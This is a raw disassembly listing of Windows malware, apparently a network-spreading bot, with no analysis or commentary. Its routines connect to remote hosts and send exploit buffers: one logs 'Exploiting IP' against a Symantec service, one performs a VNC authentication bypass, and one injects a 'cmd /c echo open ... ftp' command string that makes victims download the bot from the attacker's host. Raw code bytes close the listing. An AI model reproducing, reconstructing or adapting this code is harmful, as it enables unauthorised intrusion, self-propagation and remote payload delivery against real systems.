		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_43341C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433420
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433410
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433290
		add	esp, 2Ch
		push	eax
		call	dword_4CB9D4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433408
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	68h
		push	offset dword_432F04
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0A0h
		push	offset dword_432F70
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433128
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_433194
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433208
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433014
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_433094
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		nop
		call	near ptr 26A0428h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C88
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0A8h
		push	offset dword_432D14
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0DEh
		push	offset dword_432DC0
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA6C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_4317FCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA14
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433424
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346DC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9D4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA6C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB88C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431800[eax]
		push	ebx
		lea	eax, dword_431800[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE704
		nop
		call	near ptr 2730000h
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE6F8
		nop
		call	near ptr 2720000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE708
		call	dword_4CBA24
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA0015h
		dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
		dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE6FCh
		dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 0DEE890B4h, 50023318h, 0E6FC35FFh, 0E890004Ch
		dd 23318D1h, 134DE850h,	8D900233h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
		dd 0E8905700h, 2271311h, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 291421E8h, 45899002h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 7E89050h, 6A022914h, 0F04589FFh
		dd 0E8D875FFh, 22A166Ah, 75FF5790h, 1DD4E8F0h, 5790022Ah
		dd 90EC75FFh, 2A1DC9E8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 3311AEE8h, 35FF02h, 0FF004CE7h, 435FFD6h
		dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E710A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h
		dd 8B022F0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 0DD2E856h, 6890022Fh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE710h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A022Fh, 0FC15FF57h
